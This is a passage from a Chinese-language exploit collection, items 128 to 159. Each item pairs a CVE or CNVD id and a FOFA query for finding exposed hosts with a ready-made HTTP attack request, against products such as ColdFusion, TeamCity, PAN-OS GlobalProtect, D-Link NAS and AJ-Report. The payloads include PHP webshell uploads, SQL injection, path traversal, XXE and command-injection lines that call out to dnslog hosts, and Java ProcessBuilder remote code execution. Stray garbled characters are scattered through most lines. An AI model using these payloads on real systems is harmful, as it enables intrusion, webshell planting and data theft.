" ]/ z" N4 ?+ [9 `Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
0 k' p* y! a1 e( D7 P( U  e0 @0 P>
9 l3 D# x3 b" n4 N1 X8 D% J8 L<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--

: R, r/ M1 b6 |7 p& z1 f
% b+ v6 X* i% I7 Q
128. Adobe ColdFusion 反序列化
CVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
PAYLOAD
3 t' X/ r8 h- a+ a9 P3 e- ?$ k
- e/ A* R* r6 V129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
5 A  l2 A8 \- t9 q$ i第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
( E- f$ U) x$ b2 O6 c% b( {Accept: */*
2 p- J7 S) N9 X6 L% O; B; h  AAccept-Encoding: gzip, deflate
Connection: close


第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
& n7 p& Q: j% k: h- h* s* xAccept: */*
Accept-Encoding: gzip, deflate
- ^& I' l0 ^9 U! u) }3 lConnection: close
% \. x' _7 r4 F" h$ euuid: 85f60018-a654-4410-a783-f81cbd5000b9
; b! c& r4 |0 Q' I1 w- K  J' q" @

130. Laykefu客服系统任意文件上传
# m/ ^2 u5 r  p# W' u' X$ V) b* uFOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
" o5 ?+ u4 _  [0 A+ j8 l' mHost: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
' c- E/ E; @" P5 u- g, Y1 `3 Y, hAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
& `7 N/ R4 P6 H: ~Connection: close
5 h, h8 i% P1 M6 I# m; m
% F, `) r0 b0 P" X0 G! ?) a------WebKitFormBoundary3OCVBiwBVsNuB2kR
- l% F7 b0 X$ ]0 g1 K9 WContent-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png
. H& O* s+ a' P( t
% Y7 p! R7 q' r4 W3 _7 O  N- P<?php phpinfo();@eval($_POST['sec']);?>
. ?  i& R& b1 S% [) ]7 P; `------WebKitFormBoundary3OCVBiwBVsNuB2kR--
: K4 n. y! \; g0 |' z' e/ g
  ^5 z0 E! c* x, R; k1 {
131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
4 v5 d8 w: F- g% ghttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
- }( ?+ t( h6 eCVE-2024-27198
1 L: E- i5 q  IFOFA：body="Log in to TeamCity"
; C$ k, x8 G5 O+ SPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
/ ~, k' |7 k* Y, D! c* T8 d3 L+ ZAccept-Encoding: gzip, deflate
0 `6 O3 Q" N5 A: Z
. X+ L8 V$ R8 Y' x/ F! {{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
/ L! E' u7 l; e) l; A5 \
$ F* N" K) d0 G' x5 Y6 R& F4 V, l
CVE-2024-27199
- t4 l8 ]" ~+ r5 P: X/res/../admin/diagnostic.jsp
4 g$ ]& R2 Q+ I; I  k/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp
' \/ K8 ]7 _+ b/ z+ v
3 o5 Y. r- n: O# ~
# s# g4 Z. V+ n6 dCVE-2024-27198-RCE.py

9 D2 n# n7 E; [; v2 `# g6 Z- m133. H5 云商城 file.php 文件上传
. C5 d7 I$ r2 D: z! zFOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
5 b) P  \6 i6 o( }4 e+ |9 ]Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
+ i. V2 W; u7 ?9 ^! ~; U) {; E# t8 W& tContent-Type: application/octet-stream
! Z; Q+ e; R' U
<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
- Q6 e- O7 Q( v9 p$ d$ U
1 n1 l+ F9 n1 x: D" ~. |, }$ G
6 I0 q6 w$ X6 T* A
7 g; g6 X0 E; S: m$ {$ M# t3 r134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
& h9 q2 r' k, R  ?: dFOFA：app="网康科技-NS-ASG安全网关"
2 p9 a$ p9 ]/ L* D0 nPOST /protocol/index.php HTTP/1.1
# d) ]6 l) ?* r' U% w# l" h9 J" yHost: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
. V5 ^0 a0 \3 uAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" K8 y4 m# z- M2 T6 G0 }6 oAccept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
1 r* @1 A8 d  u; m! c+ e6 {7 oSec-Fetch-Site: same-origin
1 K9 [6 V. D# m( y) s! Y* yTe: trailers
Connection: close
6 r4 d* \3 \0 yContent-Type: application/x-www-form-urlencoded
Content-Length: 263
; m3 @$ s( l9 y& G0 F* f8 e
% {  P8 R9 i% S/ ^$ {, M% p9 [jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}

7 j; I0 q4 P8 c; N  x* Y) f! L& j
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
5 Z, X* H* z/ y6 V# s8 ]FOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
8 i5 r( }- {8 Z/ a' C  X) g6 w9 pHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
" [8 y# P$ U1 |6 p6 S7 OConnection: close

8 E- C" I) R0 G
3 @# b  z# L' A- K# }% |136. NextChat cors SSRF
$ y, j5 R* r% D! s( v+ l$ lCVE-2023-49785
/ g7 L1 E  C/ w6 Z( \: q) vFOFA：title="NextChat"
9 k6 ]6 q4 G& P- K  KGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
2 I7 b5 m* P4 P" KHost: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
/ }( k6 e* M7 x- TConnection: close
Accept: */*
Accept-Language: en
% B9 ?: h3 G# s4 Q/ dAccept-Encoding: gzip

3 {* A! l0 ?2 y5 `# c- ?6 j) U
( \) L6 n; M. ^137. 福建科立迅通信指挥调度平台down_file.php sql注入
' Y) Z0 _7 `" c) z% B1 BCVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
1 c0 K5 `9 `$ XGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
2 A: k4 K7 Q5 T  e+ F3 KHost: x.x.x.x
# j; Z' L' C5 h' K7 pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 r$ |+ q2 U( z* J3 ]/ H0 [Accept-Encoding: gzip, deflate, br
Connection: close
! ~1 y, o! j" k# F3 oCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1

1 B' P' d2 V1 y" |3 a
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
% m" J! Z1 v2 Q4 s/ X, {: ?FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
* _& K- d0 E7 s2 H9 ~GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 f: \9 s8 P4 L$ CAccept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1

; E1 n3 f. x+ q% f8 n
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
0 [/ A3 x/ x3 M1 C; \CVE-2024-2622
4 |4 C# f. x1 c1 yFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 B( O4 \: ?' x' uAccept-Encoding: gzip, deflate, br
, D9 i- T* x; I. |' O4 {( v7 K- CConnection: close
2 X$ |  R/ B9 g9 e6 ?% fCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
0 O7 C! ?- Z1 \% QUpgrade-Insecure-Requests: 1
6 n1 D. M# p) _3 D

8 k8 K, z9 V5 H2 q8 A& j, S140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
0 r0 y% a/ |$ p9 MCVE-2024-2566
$ F2 J4 y! _6 |; f* F% B( ZFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
$ U  X" n" [* l! P  c1 vHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 _! D) e9 P8 i6 y- c: R" mAccept-Encoding: gzip, deflate, br
: {9 y3 J! O2 G  F9 a3 FConnection: close
Cookie: authcode=h8g9
Upgrade-Insecure-Requests: 1
& J! c; n- v' P
/ u1 U+ y9 Y# ^: u% h' j" t* ]
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
. s% J. x% e" S8 z/ a: pPOST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
3 ?6 g' U9 ?! IUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded
3 @7 L8 `! R( X! L- J
! }3 v. G  Z* \3 W6 u. @, p: B: |: h
- _: v: `; S" P* Cdep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
9 w" D) D) W5 \

% z% z4 R) o" {142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
FOFA：body="/808gps/"
admin/admin
* X3 u4 _, y/ j; i1 [143. Netis WF2780 v2.1.40144 远程命令执行
+ p! `+ t/ [2 e1 |+ B" cCVE-2024-25850
FOFA：title='AP setup' && header='netis'
PAYLOAD

3 q7 f. ^7 r0 B144. D-Link nas_sharing.cgi 命令注入
2 b) P/ ~; U/ T) ~) |/ a0 NFOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
7 T4 T; D) G  i; l9 sHost: x.x.x.x
0 Y4 _9 [3 C! m! \8 YUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
Accept: */*
Accept-Language: en
- h' p: U5 g1 L' K+ |Accept-Encoding: gzip

7 l$ v4 }) `; i: C
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
# H2 w7 _: X  k& \& J4 k" bCVE-2024-3400
FOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
$ M- e! B9 h8 @; P; l( iHost: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
1 q( l& j% u% U' J5 D1 ~/ X/ ?% p3 }Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip
* E+ G% X: _2 U9 o: K& h  T
) Q: ]# `9 F, M# p, k1 ?; d$ r
/ N4 X4 L# l; C. L7 U8 _. N6 ?6 q146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
5 @3 E1 Z+ }. J8 f2 WFOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
5 g0 j, G( K2 Q- T! P: DAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
+ m( @. H2 O; |& I* W* {& o

+ R+ P/ a1 L, T" U/ p7 J  D147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
+ e6 r: J3 `) Q- W; f8 xCVE-2024-32399
- l, I+ b) G- L* KFOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
Cache-Control: max-age=0
Connection: close
! g8 p6 J" Q9 F9 X# P8 d

148. CrushFTP 认证绕过模板注入
; C7 I" x0 q/ F1 kCVE-2024-4040
6 C$ L7 Q- e' p! U2 M+ @' SFOFA：body="CrushFTP"
2 v8 D) O- p6 p/ J' `+ ]PAYLOAD

8 I3 S! ]3 I  [* T8 K2 ?" b$ G9 k149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
# Z, a* l7 v* h5 y" `Content-Type: application/json;charset=UTF-8
Connection: close
8 q; L, {5 j  `9 i/ I; b
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
- q1 V* ?' T: z, O& P% |POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
& |% F2 K; O9 U# L/ a- |Host: x.x.x.x
' O; v2 S2 k# L4 E* H; G" h$ Y- |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
" F# N2 ?& w7 [. O( V. G/ YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
1 m0 c; s" m! D8 [9 k1 RAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
, O: S  o: H" d( m( aConnection: close
" w' n. s! o3 zContent-Length: 339
7 L" o. a2 P" |/ F: i4 v- ]5 E
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}


151. AJ-Report 1.4.1 pageList sql注入
+ U5 l  I2 \) V3 q5 jFOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
1 \* I. H- v' k2 g: k5 Z; c$ bHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

" T! V$ \; U) f" {: T9 z" m* [& a/ j
152. Progress Kemp LoadMaster 远程命令执行
( {: U1 s% {: T) d( ^CVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
2 P" j4 q3 Q. _* VLoadMaster <= 7.2.48.10 (LTS)
, _9 @6 g8 z& g& ]) cFOFA：body="LoadMaster"
- [; J6 |3 I& k% cJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
' t! \; o  f0 {Accept: */*
* J( u/ h9 m- j( y- l- PAccept-Language: en
; o7 H  v4 K" y" }) k! j: ~: xAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip
. |+ [  X" F  F/ J4 o! c

153. gradio任意文件读取
& r: X# K" E5 ^( C! oCVE-2024-1561FOFA：body="__gradio_mode__"
! E5 ~8 s3 [( n8 |7 Q" m( s; v1 k第一步，请求/config文件获取componets的id
http://x.x.x.x/config
- f  I; O- C) M4 D" ?) B8 c$ f, ]
: @" U" ~* A. Z& ~$ }; G
第二步，将/etc/passwd的内容写入到一个临时文件
& A, ]5 \" T6 V- P4 X+ I4 V; }POST /component_server HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
' ~% F. e9 ~( z  i: K( w% o+ y" HConnection: close
Content-Length: 115
Content-Type: application/json
# z1 ]7 J+ p. p6 `1 D" E5 U% oAccept-Encoding: gzip
* f+ f5 }" K/ }1 ]4 y: Y# |
" W* r# Q9 r  ^3 W: A{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}

. _1 J5 X4 p2 a# ]+ A1 L
第三步访问
# C8 F2 A! S6 U8 |1 p: ghttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd


8 i9 G# |2 w: s0 z154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
Content-Length: 106
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
6 K( b# y3 E  p: m8 f; o/ iOrigin: http://x.x.x.x
Content-Type: application/json
" Z. R# Y/ j% \& }% `; q) ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
' p/ N% ]0 Z5 DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& g) n: X( X! m6 _Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
* M5 D  S) |: y3 I! t: {' A, U
{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
# `0 @' d4 V7 O0 _: V8 S  D

2 B- \: @# Z. Y% y# J+ c155. 六零导航页 file.php 任意文件上传
3 F2 b2 [$ }2 q5 n7 L9 o" wCVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
7 N$ `" [9 Q0 H, y# k" ?# f+ OPOST /include/file.php HTTP/1.1
Host: x.x.x.x
( b. I; U& a! ~2 MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
* ]) _* u# I# VConnection: close
7 o0 Y- t) ]3 Q: I& pContent-Length: 232
# @6 y8 E7 l2 Y' z& T9 pAccept: application/json, text/javascript, */*; q=0.01
7 h% W: h7 w" Y9 B/ m$ |Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
1 \6 d# P$ @3 `X-Requested-With: XMLHttpRequest

/ @4 _9 q4 m7 I; a  j7 c; C  y$ [0 C-----------------------------qttl7vemrsold314zg0f
1 I4 y% i( i' x& a6 q, PContent-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png
5 g* _# F$ Z2 g: K& l1 B: b/ O! p6 ^
<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--
3 u/ _) W: b# y, ]) [: U6 D7 d
( l7 [9 T9 u7 k; ?, D
访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
FOFA："Location: /login.rsp"
* f- s( h; N3 @: `' o7 @7 M·TBK DVR-4104
·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
# G" U7 F4 _  w$ L* E

POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
$ }8 C4 O+ c  z; @Host: x.x.x.x
0 z5 e9 I6 I# Y/ x/ Z( OUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 0
Cookie: uid=1
( a2 K# H* y* l- m2 g5 _& kAccept-Encoding: gzip
& M0 X% R4 K3 N: i  P) Q; Q
1 M6 [$ f: |( y) L( o: M
( k8 R! [) d) M* O157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
8 i" J2 h/ C3 [: k4 g$ ~8 W: WPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
8 r, N2 G/ t# E5 M8 }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
, Y" `2 x. D) D$ E& R  }. c3 Y; X, cContent-Length: 709
/ B/ w! ~, b2 a  U; g7 G; MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 N2 b- g" k: J* |3 K0 HAccept-Encoding: gzip, deflate
% e& ]; ]- \. M! ^5 n) L. F0 wAccept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
( v1 R/ y, q* x2 N) X; q. tConnection: close
) @6 U  K8 z- x0 {" MContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1

------WebKitFormBoundary1imovELzPsfzp5dN
: V1 m3 ]6 d) z: d+ fContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream
+ ~. X8 |# N' _
; \! Q. H. W; Snyhelxrutzwhrsvsrafb
; b- i3 C! q  B& J# E/ V7 n1 ?" Y------WebKitFormBoundary1imovELzPsfzp5dN
) T+ l& ^! v2 p9 C  `$ \% MContent-Disposition: form-data; name="key"
' |8 C! E; V: Q9 N2 Z& P, P
null
& o  P8 X4 e% Q% z# `$ u. `7 C' J------WebKitFormBoundary1imovELzPsfzp5dN
& c! D- j( p9 W4 H' u* I% yContent-Disposition: form-data; name="form"
/ t2 B0 s. q: n8 t0 K
+ Z+ c8 \# Z) Jnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"

! i  [) E7 W( u& L3 D6 _# tnull
4 J+ s1 z+ U- V; l) g- q# ~/ ?& k------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"
2 e4 j4 R  w7 x) A
null
------WebKitFormBoundary1imovELzPsfzp5dN
  s/ p8 Y+ `& b. \: JContent-Disposition: form-data; name="filefolder"

null
2 k1 G* z, b& W9 g------WebKitFormBoundary1imovELzPsfzp5dN--

  l: V% y" L9 k+ H
http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

158. Mura-CMS-processAsyncObject存在SQL注入
5 t4 K" l# u) o6 N8 D) QCVE-2024-32640
9 o  A' k( @$ e; E6 P$ n1 W7 kFOFA："Generator: Masa CMS"
6 T8 J; Y7 s3 J/ i! L2 jPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
2 f( x# V2 t) _  b) `Host: {{Hostname}}
9 _- L  _  j! i8 ^  L6 {Content-Type: application/x-www-form-urlencoded

% |: m' p( }2 S1 V" _4 iobject=displayregion&contenthistid=x\'&previewid=1
0 w4 s' Y& o  d/ A6 u, P) E

* K" S( s2 |  f159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
